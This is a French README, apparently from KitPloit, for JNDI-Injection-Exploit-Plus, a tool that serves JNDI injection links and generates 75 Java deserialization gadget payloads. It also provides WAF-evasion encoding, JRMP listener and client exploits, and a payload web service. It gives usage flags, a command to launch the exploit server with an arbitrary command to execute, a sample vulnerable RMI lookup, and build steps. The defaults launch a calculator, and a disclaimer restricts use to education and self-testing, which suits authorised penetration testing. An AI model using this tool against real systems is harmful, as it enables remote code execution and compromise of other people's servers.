En plus

1. Plus de gadgets de référence distante JNDI (total : 3)

• Supporte JDK 6/7/8

2. Plus de gadgets de référence locale JNDI (total : 4)

3. Gadgets de désérialisation (total : 75)

P.S. Plus de gadgets (⬆️) que ysoserial, bienvenue pour proposer une PR ! ^_^

4. Générer et exporter des payloads

Comme ysoserial.

Vous pouvez générer les payloads de désérialisation avec une sortie de type Base64 ou HEX.

5. Wrapper

Quelques wrappers pour encapsuler les données de désérialisation.

• Exemple

6. Fusion

Cacher le nom de la classe pour contourner le WAF.

• Exemple

Référence : https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Service web pour renvoyer des gadgets de désérialisation

P.S. Les paramètres wrapper et output sont optionnels.

Utilisation

Liens JNDI

Exécutez comme suit :

où :

• -C - commande exécutée dans le fichier de classe distant.

  (optionnel, la commande par défaut est "open /Applications/Calculator.app")

• -A - l'adresse de votre serveur, qui peut être une adresse IP ou un nom de domaine.

  (optionnel, l'adresse par défaut est celle de la première interface réseau)

Points d'attention :

• Assurez-vous que les ports de votre serveur (1099, 1389, 8180) sont disponibles.

  ou vous pouvez modifier le port par défaut dans la classe run.ServerStart.

• Votre commande est passée à Runtime.getRuntime().exec() comme paramètres,

  donc vous devez vous assurer que votre commande est fonctionnelle dans la méthode exec().

  Les commandes bash comme "bash -c ..." nécessitent l'ajout de guillemets doubles.

Payloads de désérialisation

Exécutez comme suit :

où :

• -C - commande exécutée dans le fichier de classe distant.

  (optionnel, la commande par défaut est "open /Applications/Calculator.app")

• -D - le nom du gadget de désérialisation.

• -O - (Optionnel) le type de sortie de la désérialisation, par défaut base64.

Exploits de désérialisation

JRMP

• JRMPListener

• JRMPClient

Exemples

Liens JNDI

Démo locale :

1. Démarrez l'outil comme ceci :

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   Capture d'écran :

   

2. Supposons que nous injections les liens JNDI (par exemple, rmi://ADDRESS/remoteExploit8 généré à l'étape 1) dans une application vulnérable pouvant être attaquée par injection JNDI.

   Dans cet exemple, cela ressemble à ceci :

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   puis, lorsque nous exécutons ce code, la commande sera exécutée,

   et le journal sera affiché dans le terminal :

   

Pour plus d'exemples : Test-JNDI-Injection-Exploit-Plus

Payloads de désérialisation

Résultat de sortie Base64 :

Installation

Nous pouvons choisir l'une des deux méthodes pour obtenir le jar.

1. Téléchargez le dernier jar depuis Realease.

2. Clonez le code source en local et compilez (nécessite Java 1.8+ et Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

P.S. ‼️ Si vous obtenez une erreur du type "java.rmi.xxx does not exists", vous devez définir la variable d'environnement JAVA_HOME.

Avertissement

Toutes les informations et tout le code sont fournis uniquement à des fins éducatives et/ou pour tester vos propres systèmes pour ces vulnérabilités.